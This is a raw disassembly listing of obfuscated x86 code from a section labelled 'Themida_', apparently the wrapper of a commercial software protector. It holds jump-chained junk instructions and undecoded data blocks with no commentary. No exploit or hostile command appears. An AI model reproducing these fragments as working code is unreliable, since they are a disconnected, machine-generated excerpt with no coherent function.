dd 0EF815FFFh, 0FFFFFFFFh, 36D6E9h, 0E8285B00h, 0F1E95266h
dd 8B000035h, 0D0E9241Ch, 0BAFFFF81h, 436E7499h, 1F69E281h
dd 0CA8135B1h, 0EE73725h, 0FFDAFDE9h, 888BB1FFh, 240C8BC8h
dd 4C481h, 0C3000000h, 0C3285866h, 808BB450h, 0E3286AC3h
dd 80E5B252h, 44E975EAh, 89FFFFF5h, 5E542434h, 0B8BF5751h
dd 0C1357372h, 0DFE904E7h, 68000029h, 76BFh, 68240C89h
dd 4961h, 55242489h, 4BDh, 0B317E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53DFFA: ; CODE XREF: Themida_:00540A0Fj
pop edx
xor edx, 285D46E1h
pop edi
and eax, edx
jmp loc_5397BE
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
align 10h
dd 805B66DDh, 0B25284EDh, 0B95BE936h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53E01E: ; CODE XREF: Themida_:00536E2Bj
push edx
mov edx, 6DE358Eh
shl edx, 5
and edx, 27DD30E3h
xor edx, 5B2E46B2h
jmp loc_53A3D7
; ---------------------------------------------------------------------------
dd 405E089h, 0E9000000h, 0FFFFEE56h, 4C581h, 0ED830000h
dd 242C8704h, 0E924248Bh, 0FFFF82E5h, 0A3E9DA01h, 0FE00000Eh
dd 0DBE980C1h, 0FFCFDCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53E069: ; CODE XREF: Themida_:0053F1D4j
push 70AFh
mov [esp], eax
sub esp, 4
jmp loc_53F96C
; ---------------------------------------------------------------------------
loc_53E07C: ; CODE XREF: Themida_:0053D92Cj
and edx, 5BAA2355h
jmp loc_53E32C
; ---------------------------------------------------------------------------
loc_53E087: ; CODE XREF: Themida_:0053BDB8j
add bl, dh
mov edx, [esp]
jmp loc_53EB07
; ---------------------------------------------------------------------------
db 66h, 81h, 0C9h
dd 81660B23h, 534878C9h, 1503BB66h, 6EB8166h, 0EB81666Bh
dd 4B666077h, 89E38166h, 0C3816618h, 2966F780h, 2434FFD9h
dd 4C4815Bh, 66000000h, 8166D9F7h, 6617FCE9h, 665EE981h
dd 8BCF8966h, 0C483240Ch, 0FB016604h, 0B70F5F66h, 5F5457C0h
dd 5BE95753h
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53E0EB: ; CODE XREF: Themida_:00540DF8j
pop esi
push ebp
push edx
mov edx, 25F14471h
neg edx
or edx, 1F8B2C90h
shr edx, 8
jmp loc_536AA1
; ---------------------------------------------------------------------------
db 0FFh
dd 48B2434h, 77E95724h
db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53E10F: ; CODE XREF: Themida_:00537404j
push ebx
mov ebx, 54323C31h
jmp loc_53D0A1
; ---------------------------------------------------------------------------
loc_53E11A: ; CODE XREF: Themida_:005413BBj
push eax
mov eax, 3EDE106Bh
mov edx, eax
pop eax
sub ebp, 754F5CF9h
jmp loc_53CC82
; ---------------------------------------------------------------------------
dw 53ACh
dd 0C7FE6AB7h, 0E908EFC0h, 0FFFFE4B5h
; ---------------------------------------------------------------------------
loc_53E13C: ; CODE XREF: Themida_:00537C47j
pop ecx
sub ecx, 5704A18h
mov ebx, [esp]
add esp, 4
push ebp
jmp loc_539B96
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481240Ch, 4, 1636BB53h, 0DF2136A5h, 4FB9515Bh, 81241111h
dd 23567FC1h, 81D1F772h, 0E2EF50C1h, 2CE6E99Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53E17A: ; CODE XREF: Themida_:0053686Dj
push eax
mov eax, 594B1600h
xor edx, eax
jmp loc_53A63E
; ---------------------------------------------------------------------------
db 5Ch
dd 66240C89h, 0CCB15152h, 6659CA88h, 0E9D3B353h, 0FFFF81D4h
dd 5204C483h, 0B68AB551h, 5EEE802Ch, 5166EE00h, 0EE005EB5h
dd 0C7E95966h, 51000019h, 0FF98C0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53E1BD: ; CODE XREF: Themida_:005399CAj
xor edi, esi
pop esi
push ecx
mov ecx, 17517AF1h
push edi
mov edi, 32C76370h
add edi, 0EE67188Ch
and ecx, edi
jmp loc_53F7C7
; ---------------------------------------------------------------------------
loc_53E1D9: ; CODE XREF: Themida_:0053A9C2j
xor ecx, 592C6D35h
jmp loc_53E643
; ---------------------------------------------------------------------------
dd 0C0E9D601h, 51FFFFC0h, 0CBECBAB9h, 59CA2975h, 525AD601h
dd 4BAh, 0CBC6E900h, 0BAE9FFFFh, 81FFFF78h, 4C4h, 243C8700h
dd 288645Ch, 0FF78A8E9h, 243C8BFFh, 4C481h, 0E9010000h
dd 0FF81BFE9h, 70E95CFFh, 87FFFFE8h, 0E95C2434h, 1479h
db 8Bh, 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_541FF5
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 4C481h, 93E90000h, 5C000029h, 54243489h, 0D1F5E95Eh
dd 34FFFFFFh, 2434FF24h, 56241C8Bh, 0FFA5B0E9h, 6E2C1FFh
dd 0B8505653h, 6F704F9Ch, 0BB585E50h, 0EAC9C9BEh, 818C381h
dd 0F3010300h, 818EB81h, 0E95E0300h, 0FFFF7F39h
; ---------------------------------------------------------------------------
loc_53E298: ; CODE XREF: Themida_:0053D7FBj
sub eax, 49B5235Eh
add eax, 79F05788h
push 5BE1h
mov [esp], edx
sub dword ptr [esp], 7ADD75FAh
pop dword ptr [eax]
add dword ptr [eax], 7ADD75FAh
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_536DA6
; ---------------------------------------------------------------------------
db 89h, 0E1h, 81h
dd 4C1h, 0E9575600h, 0FFFFA25Eh
; ---------------------------------------------------------------------------
loc_53E2D4: ; CODE XREF: Themida_:00540B9Fj
mov ebx, 36847F9Ah
push eax
mov eax, 664237EDh
dec eax
not eax
inc eax
jmp loc_53AE77
; ---------------------------------------------------------------------------
dd 0B75366ACh, 66F828FAh, 4EC835Bh, 0E9241C89h, 0FFFF8331h
dd 15FF989h, 0B58BE9CAh, 0C681FFFFh, 4, 8704C683h, 0E95C2434h
dd 0FFFFBAACh
; ---------------------------------------------------------------------------
loc_53E318: ; CODE XREF: Themida_:00538E6Cj
sub esp, 4
jmp loc_5383A5
; ---------------------------------------------------------------------------
loc_53E320: ; CODE XREF: Themida_:0053AC91j
push ebx
push edx
mov edx, 4DF85BDAh
jmp loc_53D1DC
; ---------------------------------------------------------------------------
loc_53E32C: ; CODE XREF: Themida_:0053E082j
or edx, 3D177988h
sub edx, 7F3779D9h
sub esi, edx
pop edx
xor esi, [esp]
jmp loc_53B281
; ---------------------------------------------------------------------------
db 54h
dd 8124048Fh, 42404h, 34FF0000h, 0EC815B24h, 4, 0E9242C89h
dd 254Ah, 0DBBD5559h, 813F1978h, 0E68729C5h, 0CA1DE9C0h
dd 0ABBFFFFh, 890E7673h, 0E5C15BDDh, 0BF58107h, 0E9069571h
dd 0FFFF9972h
; ---------------------------------------------------------------------------
loc_53E388: ; CODE XREF: Themida_:0053DA58j
xchg ebp, [esp]
pop esp
jmp loc_53F1D0
; ---------------------------------------------------------------------------
db 81h, 0EDh, 2Eh
dd 0E965BD58h, 0FFFFD725h, 0A729130Dh, 8E0C14Dh, 405D8F7h
dd 1AFAB1Bh, 0B8E958C2h
db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53E3B3: ; CODE XREF: Themida_:0053C084j
not dword ptr [esp]
pop ebx
xchg ebx, ecx
sub esp, 4
mov [esp], esi
push ecx
jmp loc_540E9A
; ---------------------------------------------------------------------------
loc_53E3C5: ; CODE XREF: Themida_:0053EB0Aj
add bl, 72h
add bl, 4Ah
add bl, al
sub bl, 4Ah
sub bl, 72h
push small 101Ch
jmp loc_53D669
; ---------------------------------------------------------------------------
dd 4E95150h, 1000014h, 5B04245Ch, 0E92434FFh, 0FFFF9744h
db 5Ch
; ---------------------------------------------------------------------------
loc_53E3F1: ; CODE XREF: Themida_:0054055Dj
push ebx
push ebx
push eax
mov eax, 7039303Ch
add eax, 0FFFFFFFFh
inc eax
xor eax, 65FE0A6Eh
shl eax, 4
sub eax, 0F586283Fh
mov ebx, eax
pop eax
add dword ptr [esp+4], 7C2E1BCFh
sub [esp+4], ebx
jmp loc_53B18C
; ---------------------------------------------------------------------------
dd 392AD0BBh, 1CEB8122h, 89EB5EF6h, 25B2E9DFh, 0EB810000h
dd 4, 5C241C87h, 68243489h, 3636h, 83242489h, 0FF042404h
dd 0E95E2434h, 0FFFF9339h
; ---------------------------------------------------------------------------
loc_53E454: ; CODE XREF: Themida_:0053C200j
pop dword ptr [esp]
pop esp
or eax, eax
jz loc_53A2B8
push dword ptr [edi+28h]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
push esp
pop ebp
push ebx
mov ebx, 60A66B11h
not ebx
add ebx, 1
add ebx, 0FFFFFFFFh
push ecx
mov ecx, 5AA830DBh
or ecx, 456F5036h
inc ecx
xor ecx, 0C0B6E5EAh
jmp loc_53CFE3
; ---------------------------------------------------------------------------
loc_53E49B: ; CODE XREF: Themida_:0053D0B0j
sub eax, ebx
pop ebx
mov ecx, [esp]
add esp, 4
add eax, edi
push dword ptr [eax]
pop ecx
mov eax, [esp]
jmp loc_541FA5
; ---------------------------------------------------------------------------
db 81h, 0EFh, 4
dd 87000000h, 0D8E9243Ch, 0FFFFFFEAh, 89518734h, 4C181E1h
dd 52000000h, 4BAh, 8BD12900h, 0C4812414h, 4, 0FFB501E9h
dd 0E9D028FFh, 0FFFFD6B2h
; ---------------------------------------------------------------------------
loc_53E4E8: ; CODE XREF: Themida_:0053910Dj
shr eax, 18h
jmp loc_5378A1
; ---------------------------------------------------------------------------
loc_53E4F0: ; CODE XREF: Themida_:0053805Cj
add esp, 4
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_53B152
; ---------------------------------------------------------------------------
aZS db ')ÓZ)Ãé¿/',0
align 2
dw 0B850h
dd 7D6658A3h, 6658A735h, 58C5017Dh, 0DDBD5556h, 0C137345Dh
dd 52E907E5h
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53E52B: ; CODE XREF: Themida_:00537CDDj
add ecx, 6789101Dh
jmp loc_5411CC
; ---------------------------------------------------------------------------
loc_53E536: ; CODE XREF: Themida_:00536CF4j
mov edi, edx
pop edx
push ebp
jmp loc_538878
; ---------------------------------------------------------------------------
db 80h
dd 0E80089C5h
db 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_53AE14
; ---------------------------------------------------------------------------
db 81h, 0EEh, 37h
dd 587E545h, 1EF83518h, 57E9F029h, 2D000033h, 0ABC94A4Ah
dd 8158C301h, 337640EBh, 0ECB0E942h, 0C580FFFFh, 0C1B252FFh
dd 805AD508h, 0C580B4F5h, 64C36887h, 1C890000h, 3090B724h
dd 0EE285BFDh, 28A60459h, 8D53E9F0h, 0C381FFFFh, 4, 4EC8350h
dd 0FFC5E7E9h, 2BBFFh, 0DD010000h, 242C875Bh, 6BC2685Ch
dd 0C890000h, 50BF6824h, 4890000h, 0E9D48824h, 1142h, 83240C8Bh
dd 814104C4h, 1AF16FC1h, 0E7C681E9h, 162AE50h, 0E7EE81CEh
dd 8B62AE50h, 0C481240Ch, 4, 499BBB53h, 0EB816ABAh, 6ABA4997h
dd 335BDE01h, 34312434h, 24343324h, 8124248Bh, 4ECh, 0BC64E900h
dd 15AFFFFh, 58088BF8h, 8904EC83h, 4E68243Ch, 89000073h
dd 0C2E9242Ch, 53FFFF98h, 0B2CFB3BBh, 5BD929B8h, 4582C781h
dd 54E90506h
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53E643: ; CODE XREF: Themida_:0053E1DFj
push ebp
mov ebp, 126373ABh
shl ebp, 1
neg ebp
add ebp, 87EB4807h
jmp loc_539422
; ---------------------------------------------------------------------------
dd 0E9C4C180h, 0FFFFB0AEh, 240C8B66h, 6CE468h, 241C8900h
dd 0C3815B54h, 4, 3DC568h, 24148900h, 2BAh, 55BE5600h
dd 5372916Eh, 1300B6BBh, 93E38163h, 8145DF4Fh, 0CF7EF2F3h
dd 0B2CB810Eh, 813E0F75h, 0D9047FCBh, 0EAD6E950h, 48FFFFFh
dd 24248B24h, 0BB53h, 0DAE90000h, 30FFFF74h, 0E9C058E1h
dd 0CAC18008h, 33E9172Ch, 81FFFFA0h, 0F5909CF1h, 59CF31DFh
dd 0E95FF829h, 0FFFF73E5h, 8324048Bh, 0C48304C4h, 73D7E904h
dd 0C481FFFFh, 4, 0E9243C8Bh, 2F93h, 240C895Ch, 240C8B54h
dd 0FFBFC9E9h, 2D45BAFFh, 0C681004Ah, 1F323047h, 72E9D629h
db 87h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53E717: ; CODE XREF: Themida_:0053969Cj
shr edx, 4
or edx, 452650CCh
push ebp
mov ebp, 0C53164h
sub edx, ebp
pop ebp
add ecx, edx
jmp loc_53BFC5
; ---------------------------------------------------------------------------
dd 565EF329h, 0C4712CBEh, 41F68170h, 81656E20h, 0DE0DB3CEh
dd 0BA524E61h, 3EF58B4Bh, 0DDE9D601h, 66FFFFBAh, 66241C87h
dd 81243C8Bh, 2C4h, 66576600h, 22474FFh, 243C8B66h, 0E904EC83h
dd 361Dh, 78AEE950h, 0DA01FFFFh, 96E3E95Bh, 0FB01FFFFh
dd 241C875Fh, 0FF24248Bh, 0E99C240Ch, 0FFFF732Dh, 4305F029h
dd 0E902F00Fh, 2CCAh, 0BB53D001h, 1AA80950h, 8B5BD829h
dd 89562414h, 0BFBBE9E6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53E7B6: ; CODE XREF: Themida_:00538F53j
pop esi
jmp loc_5370C5
; ---------------------------------------------------------------------------
dd 0A054F05h, 68C32528h, 0DE90E0Ah, 80FFFF7Eh, 0C6803CF6h
dd 9A6BE97Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53E7D6: ; CODE XREF: Themida_:0053C4FDj
shl edi, 2
jmp loc_53D1F6
; ---------------------------------------------------------------------------
loc_53E7DE: ; CODE XREF: Themida_:0054094Dj
pop ebx
neg edi
shr edi, 8
push 5E5Ch
mov [esp], ebp
jmp loc_538D22
; ---------------------------------------------------------------------------
loc_53E7F1: ; CODE XREF: Themida_:00541B23j
sub edi, eax
pop eax
and eax, edi
mov edi, [esp]
add esp, 4
shr eax, 10h
jmp loc_539634
; ---------------------------------------------------------------------------
dd 8B242C87h, 34FF2424h, 2434FF24h, 8124048Bh, 4C4h, 4C48100h
dd 57000000h, 0C781E789h, 4, 0E62CE953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53E82E: ; CODE XREF: Themida_:0053F45Dj
pop esp
mov [esp], bx
mov bl, 0D4h
jmp loc_53601D
; ---------------------------------------------------------------------------
dw 0B4B0h
dd 0C8FED72Ch, 0FFC331E9h, 240C8BFFh, 4C481h, 0A9E90000h
dd 81FFFFBCh, 4ECh, 24248900h, 171FE9h, 55D9F700h, 0ECBA54BDh
dd 5DE929A5h, 0C8B5D51h, 4C48324h, 875DEB01h, 248B241Ch
dd 148B6624h, 24FEE924h, 4F2D0000h, 563A043Ch, 2F00B1BEh
dd 14F75672h, 0E6C15E24h, 7EEC108h, 7837E681h, 0D6F74DB6h
dd 0E9A5C681h, 0F0013EA4h, 0FFE5BBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53E8B1: ; CODE XREF: Themida_:005423BEj
and eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_541CFA
; ---------------------------------------------------------------------------
dd 1118E959h, 0EB800000h, 4EC83E2h, 0B6241489h, 15E68095h
dd 5009F680h, 2EC81h, 89660000h, 8EB62414h, 5A66F088h
dd 0C058C630h, 0C68005EEh, 0F1EE8001h, 2C3BE9h
db 0
; ---------------------------------------------------------------------------
loc_53E8F5: ; CODE XREF: Themida_:00541754j
add esp, 4
push 73B4h
mov [esp], esi
jmp loc_537EE9
; ---------------------------------------------------------------------------
db 0FFh, 77h, 1Ch
dd 6659669Dh, 9C241CD3h, 0FF71ACE9h, 0E0EB81FFh, 81D2E161h
dd 9102E7EDh, 81DD2921h, 9102E7C5h, 241C8B21h, 4C481h
dd 0EDC10000h, 0FFED8304h, 93E4F581h, 762D1FCCh, 2979A97Eh
dd 7E7605E8h, 8B5D79A9h, 0DE92434h, 0BBFFFF91h, 4F832150h
dd 0CFE9D3F7h, 0FFFFE6h, 664804D8h, 72D1E951h, 0C180FFFFh
dd 59CA28A2h, 0C2FED2F6h, 0E955C280h, 1E88h, 0C87D1F7h
dd 24148B24h, 4C481h, 0F2810000h, 8CCE9B46h, 0FFE255E9h
dd 240C8BFFh, 81E18951h, 4C1h, 4C18100h, 87000000h, 815C240Ch
dd 923E3FEEh, 6E6C156h, 0F681EED1h, 48426C4Bh, 9D09EE81h
dd 0F2894C21h, 0EEFE95Eh, 0B8500000h, 2, 8758C501h, 248B242Ch
dd 0D3CEE924h, 0C581FFFFh, 3AC03663h, 0FFBD6FE9h, 30E981FFh
dd 0E920F628h, 0FFFFD300h
; ---------------------------------------------------------------------------
loc_53E9F4: ; CODE XREF: Themida_:00539600j
push eax
push esp
mov eax, [esp]
add esp, 4
push ecx
jmp loc_540665
; ---------------------------------------------------------------------------
dw 3059h
dd 0F83058C7h, 0FF9CD2E9h, 4BF57FFh, 0E9000000h, 1380h
; ---------------------------------------------------------------------------
loc_53EA18: ; CODE XREF: Themida_:0053BB44j
mov esi, 200000h
and eax, esi
mov esi, [esp]
push ebp
jmp loc_541045
; ---------------------------------------------------------------------------
loc_53EA28: ; CODE XREF: Themida_:00535C66j
mov edi, ebx
push edi
jmp loc_53FF23
; ---------------------------------------------------------------------------
dd 2C0DD0F7h, 35148325h, 7CBFF7FCh, 48BC301h, 0EC835724h
dd 7634E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53EA4A: ; CODE XREF: Themida_:0053CC74j
push ebx
mov ebx, 0D4C3508h
shl ebx, 8
push ebp
mov ebp, 54DB1EF9h
sub ebp, 75928FBh
shl ebp, 7
add ebp, 141600E7h
neg ebp
shl ebp, 3
xor ebp, 5D591D41h
xor ebx, ebp
pop ebp
not ebx
push esi
mov esi, 40C85F10h
dec esi
or esi, 23A3148Dh
sub esi, 29EEFB7Dh
sub ebx, 78D606CCh
add ebx, esi
jmp loc_539EA5
; ---------------------------------------------------------------------------
dd 3FBEA81h, 0C2812303h, 9BCAE06h, 0E95AD101h, 0FFFFEE85h
; ---------------------------------------------------------------------------
loc_53EAAC: ; CODE XREF: Themida_:00541146j
add ebp, 3D456ACh
xor edi, ebp
jmp loc_538FA8
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0C5h
dd 4, 4BE56h, 0ED810000h, 245F3564h, 0FF886CE9h, 24048BFFh
dd 2A3BE9h
db 0
; ---------------------------------------------------------------------------
loc_53EAD9: ; CODE XREF: Themida_:00541EBDj
mov eax, 5110160Fh
sub eax, 76057C6Ch
push ebx
mov ebx, 520D1D89h
add eax, 744C349Dh
jmp loc_53CC53
; ---------------------------------------------------------------------------
db 81h
dd 0E364DBC3h, 24148B18h, 0FF7733E9h, 0F3E951FFh
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53EB07: ; CODE XREF: Themida_:0053E08Cj
add esp, 4
jmp loc_53E3C5
; ---------------------------------------------------------------------------
db 0FFh
dd 5B042474h, 5C24048Fh, 68241C89h, 3E8Ch, 83240489h, 148904ECh
dd 4EC8124h, 89000000h, 1CE9241Ch, 68FFFFFEh, 0AC4h, 83243C89h
dd 248904ECh, 24048324h, 7E34E904h, 248BFFFFh, 24148924h
dd 66E99C50h, 68FFFF6Fh, 3AAh, 0FFF7DEE9h, 0B181B3FFh
dd 0FFD9302Dh, 515B2434h, 0C181E189h, 4, 4C181h, 0C870000h
dd 0C9805C24h, 0BFB450FEh, 0FF8257E9h, 4C481FFh, 87000000h
dd 248B241Ch, 0B60F6624h, 9446E9C8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53EBA2: ; CODE XREF: Themida_:005415A5j
add ah, bl
jmp loc_53C2BC
; ---------------------------------------------------------------------------
loc_53EBA9: ; CODE XREF: Themida_:00540660j
mov esp, [esp]
push ebx
push ecx
push 42BD0DB4h
pop ecx
jmp loc_539268
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 24042966h, 6EFBE99Ch, 481FFFFh, 424h, 242C8B00h, 0FF9245E9h
dd 28C680FFh, 0FF7080E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53EBDD: ; CODE XREF: Themida_:0053CC5Bj
push ebx
mov ebx, 662852A2h
neg ebx
shr ebx, 4
shl ebx, 7
add ebx, 0D841702h
and ebx, 9005E86h
xor ebx, 49D819B7h
jmp loc_53BE1B
; ---------------------------------------------------------------------------
loc_53EC02: ; CODE XREF: Themida_:00540BC7j
mov edi, 45C478A3h
mov ebx, 8EC9CCAh
add ebx, edi
jmp loc_53858F
; ---------------------------------------------------------------------------
db 0BDh
dd 4, 0DFE9EB01h, 81FFFF9Fh, 0D2F448F5h, 5DEE29F1h, 2474FF56h
dd 48F5E04h, 34895C24h, 3EB85024h, 0C17C693Bh, 0E0C107E0h
dd 7C023502h, 65E9D276h, 66FFFF99h, 0E95EE8B9h, 31F8h
dd 81E38953h, 4C3h, 41BF5700h, 0D14EC022h, 0C847E9EFh
dd 2C89FFFFh, 4BD24h, 0EF010000h, 64E9505Dh, 5DFFFF9Ch
dd 4EC81h, 0C890000h, 0ACBA5224h, 895A9F19h, 0CB295AD1h
dd 83240C8Bh, 0C38104C4h, 18450672h, 0FF8B32E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53ECA1: ; CODE XREF: Themida_:0053A11Cj
sub eax, 5E49549Dh
sub eax, 3B2C3E70h
neg eax
xor eax, 0FACD5A0Eh
sub ecx, eax
jmp loc_5388E9
; ---------------------------------------------------------------------------
db 28h, 0E8h, 0E9h
dd 0FFFF7179h, 0FEC5814Dh, 21B73305h, 31D9E9EEh, 4290000h
dd 0EAE99C24h, 4BFFFF6Dh, 0F381D3F7h, 0BB3BFDD2h, 4B7DB850h
dd 0C1487B12h, 16E907E8h, 0BAFFFF9Ah, 0FA4DB669h, 158C201h
dd 4335AD0h, 24043124h, 0E9240433h, 0FFFFA66Bh, 0EC83E789h
dd 24148904h, 466E6850h, 4858469Ch, 4D89BB53h, 0D8312F88h
dd 0FFD705E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53ED25: ; CODE XREF: Themida_:0053A541j
mov eax, [esp]
push 4B9Ah
jmp loc_53B1F8
; ---------------------------------------------------------------------------
loc_53ED32: ; CODE XREF: Themida_:0053D81Fj
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_53AABE
; ---------------------------------------------------------------------------
db 89h
dd 0F4E95AD0h, 0B9FFFF91h, 6334F60Eh, 559CB01h, 3E213342h
dd 0EB264005h, 0BCE1E930h, 15FFFFFh, 2434FFE8h, 4C4835Dh
dd 6802E883h, 7Ch, 0FF240489h, 58042474h, 8B24048Fh, 89662424h
dd 50662414h, 6D2BE99Ch, 875EFFFFh, 0F5C242Ch, 37E9C8B7h
dd 80FFFFE5h, 0F5302FEEh, 951EE95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53EDAE: ; CODE XREF: Themida_:00540A72j
pop esi
jmp loc_540D31
; ---------------------------------------------------------------------------
loc_53EDB4: ; CODE XREF: Themida_:0053B9F9j
xor ebp, 7288BEDFh
jmp loc_539881
; ---------------------------------------------------------------------------
db 59h
dd offset dword_510448+220h
dd 24348900h, 7D4AE955h, 835EFFFFh, 0EA8104C4h, 59C741CDh
dd 0FFC6C9E9h, 5A5452FFh, 611B850h, 0E8D14F1Fh, 0FFF5AFE9h
dd 0E9DD89FFh, 0FFFFAEE6h, 194A06B9h, 59CA212Ah, 7EE9D2F7h
dd 5F00000Ah, 0FFFBC1E9h, 243C31FFh, 0E9243C33h, 0FFFF6FC5h
dd 24048B66h, 4EC81h, 1C890000h, 52E38924h, 551D73BAh
dd 0C2834A6Ah, 8E2C1FFh, 814AE2D1h, 3AE1FBEAh, 0C9C381AAh
dd 136B269h, 0C9EB81D3h, 8B36B269h, 0C4832414h, 2BE5604h
dd 1000000h, 88E95EF3h, 0F7FFFF71h, 1FD8E9D6h, 0DD890000h
dd 52EB95Bh, 80E90A5Ah
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53EE6F: ; CODE XREF: Themida_:0053985Aj
mov [esp], edx
push ecx
mov ecx, 7E395DA2h
mov edx, ecx
pop ecx
xor esi, edx
mov edx, [esp]
add esp, 4
push esi
xor dword ptr [esp], 1D6F3AA9h
jmp loc_5363CA
; ---------------------------------------------------------------------------
dd 0FF6C2CE9h, 7935BDFFh, 0ADE900C4h, 0E900001Eh, 0FFFF6C1Dh
dd 83243C8Bh, 48F04C4h, 24248B24h, 0B8240489h, 7A27520h
dd 4805E0C1h, 0FFE5BAE9h, 67E95BFFh, 89FFFFC7h, 69B02404h
dd 0FE58C588h, 0F6C5FEC5h, 815366DDh, 4ECh, 24048900h
dd 0C4FE03B4h, 51C6EC80h, 0CB88E188h, 24048B59h, 0FFF114E9h
dd 81E289FFh, 4C2h, 790AE900h, 0C281FFFFh, 54602C84h, 4D5E9h
dd 0FF555700h, 8B042474h, 0F9E9242Ch, 81FFFFBFh, 9F15F8EFh
dd 0B5CF8161h, 8111EA0Dh, 111853F7h, 17E95327h, 33FFFFB0h
dd 248B240Ch, 24040124h, 6B7FE99Ch, 0C181FFFFh, 4, 3304C183h
dd 0C31240Ch, 0EC5BE924h, 5255FFFFh, 8151E8BAh, 0E9D58977h
dd 0FFFFED9Bh, 0CCBD55ADh, 53673429h, 0B33B4BBBh, 0EECB8113h
dd 4300792Dh, 0AAF3814Bh, 11DD928h, 0B9515BDDh, 399572AFh
dd 477EC181h, 0D9F758D0h, 7B3CC181h, 81497B98h, 3B8678E9h
dd 0CE3BE9E5h, 0F74AFFFFh, 2A80E9DAh, 0EC830000h, 24348904h
dd 0E9575E54h, 0FFFFDF60h, 4C481h, 0B60F0000h, 23D0E9C0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53EFC6: ; CODE XREF: Themida_:0053C28Cj
push dword ptr [esp]
pop eax
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
jmp loc_537243
; ---------------------------------------------------------------------------
dw 39B9h
dd 2D6ED23Ah, 5AFA7B6Dh, 6D05C801h, 595AFA7Bh, 0FF8BB7E9h
dd 0B25259FFh, 8950E936h, 815FFFFFh, 4C4h, 5DEA2900h, 1298EA81h
dd 0C2294C9Fh, 1298C281h, 0BF574C9Fh, 3EE275C4h, 13DFE9h
db 0
; ---------------------------------------------------------------------------
loc_53F029: ; CODE XREF: Themida_:0053D7E2j
mov eax, [esp]
jmp loc_5363A1
; ---------------------------------------------------------------------------
loc_53F031: ; CODE XREF: Themida_:0053C581j
mov [esp], ecx
jmp loc_53AE25
; ---------------------------------------------------------------------------
db 29h, 0FEh, 0E9h
dd 0FFFFC059h
; ---------------------------------------------------------------------------
loc_53F040: ; CODE XREF: Themida_:0053C379j
add esi, 2EB96AADh
add esi, 7AD84F42h
add esi, eax
sub esi, 7AD84F42h
jmp loc_53BD52
; ---------------------------------------------------------------------------
loc_53F059: ; CODE XREF: Themida_:0053F57Aj
pop esp
jmp loc_538C04
; ---------------------------------------------------------------------------
db 1
dd 24348BF0h, 5604C483h, 9422E8BEh, 5EF00131h, 4C03B850h
dd 0D8F719E0h, 0FFDF47E9h, 2414F7FFh, 0E953565Bh, 0FFFF7760h
dd 3166AD66h, 4EC83D8h, 66241C89h, 664290BBh, 56BA6652h
dd 0D321666Bh, 0C1665A66h, 5BE907EBh, 59000009h, 0FF7657E9h
dd 241C8BFFh, 6804C483h, 1577h, 55240C89h, 8904EC83h, 57BF243Ch
dd 81004F76h, 8011BEC7h, 67F7817Dh, 0F75E7030h, 0B0D1E9D7h
dd 5655FFFFh, 11275ABEh, 5E5D5678h, 0FFB265E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53F0ED: ; CODE XREF: Themida_:0053AE95j
sub esp, 4
jmp loc_53B6D8
; ---------------------------------------------------------------------------
loc_53F0F5: ; CODE XREF: Themida_:0053A2C8j
mov [esp], edx
push 66B7h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_537140
; ---------------------------------------------------------------------------
loc_53F10D: ; CODE XREF: Themida_:00537CE8j
mov edx, ebp
jmp loc_537A21
; ---------------------------------------------------------------------------
dd 0AB6859h, 2C890000h, 2474FF24h, 865BE904h, 0BA52FFFFh
dd 2, 71AED81h, 0D5014866h, 71AC581h, 335A4866h, 3E9242Ch
dd 87FFFFB5h, 87D2F7D3h, 41C381D3h, 89775C88h, 0D8315BD8h
dd 2DD0F75Bh, 848FC1D9h, 48BC289h, 752AE924h, 0CD80FFFFh
dd 4E5C06Fh, 0E9B2B753h, 0FFFFD9ECh
; ---------------------------------------------------------------------------
loc_53F174: ; CODE XREF: Themida_:005378DBj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
sub esp, 4
mov [esp], ebx
push edx
push 19ED304Eh
pop edx
sub edx, 9E190DE3h
push ebp
mov ebp, edx
mov ebx, ebp
jmp loc_53B9D7
; ---------------------------------------------------------------------------
db 0FFh
dd 815B2434h, 4C4h, 0F3F0E900h, 2C89FFFFh, 0E6895624h
